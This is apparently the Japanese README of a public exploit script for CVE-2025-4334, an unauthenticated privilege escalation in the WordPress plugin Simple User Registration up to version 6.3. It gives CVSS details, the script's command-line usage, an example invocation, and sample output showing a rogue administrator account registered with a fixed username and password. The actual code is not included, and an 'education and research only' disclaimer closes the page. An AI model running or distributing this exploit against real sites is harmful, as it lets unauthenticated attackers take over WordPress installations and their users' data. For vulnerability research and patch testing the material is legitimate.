🔓 Simple User Registration <= 6.3 - 認証されていない権限昇格

📄 説明

WordPress用プラグイン Simple User Registration は、6.3 までの全バージョンにおいて 権限昇格 の脆弱性があります。
これは、登録時に提供できるユーザーメタ値に対する制限が不十分なためです。
これにより、認証されていない攻撃者 が 管理者 として登録することが可能になります。

🛡️ 脆弱性の詳細

タイプ: 不適切な権限管理
CVE: CVE-2025-4334
CVSSスコア: 9.8 (緊急)
CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
公開日: 2025年6月25日
最終更新日: 2025年6月26日

🛠️ エクスプロイトスクリプト

このエクスプロイトは、抽出されたnonce、フォームID、リファラーを使用したフォーム送信により、権限昇格を自動化します。

⚙️ 使用方法

python CVE-2025-4334.py -h

usage: CVE-2025-4334.py [-h] -u URL --form FORM

Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation - by Khaled Alenazi (Nxploited)

options:
  -h, --help     show this help message and exit
  -u, --url URL  Base WordPress URL (e.g. http://localhost/wordpress/)
  --form FORM    Full URL of the page that contains the registration form

🌐 URLの説明

-u → WordPressのベースインストールURL（例：http://localhost/wordpress/）
--form → 脆弱な登録フォームの完全なURL（例：http://localhost/wpr/default-registration/）

🧪 使用例

python CVE-2025-4334.py -u http://localhost/wordpress/ --form http://localhost/wpr/default-registration/

✅ 結果

[i] Extracted Nonce   : ffcf0140a8
[i] Extracted Form ID : 76
[i] Referer Path      : /wpr/default-registration/
[i] HTTP Response Code : 200
[i] Server Response    : {"user_id":13,"status":"success","signup":"signup","message":"Registration Done !\r\nUser Register Email not sent, please contact admin","redirect_url_signup":null}

[+] Exploitation Successful
[+] Username   : Nxploitedadmin
[+] First Name : Nxploitedadmin
[+] Last Name  : Nxploitedadmin
[+] Email      : [email protected]
[+] Password   : nxp1234
[+] Role       : administrator

Exploit By : Khaled_alenazi (Nxploited)

⚠️ 免責事項

このスクリプトは教育および研究目的のみで提供されています。
著者は、このツールの誤用や損害について一切の責任を負いません。

作成者: Khaled_alenazi (Nxploited)

CVE-2025-4334

人気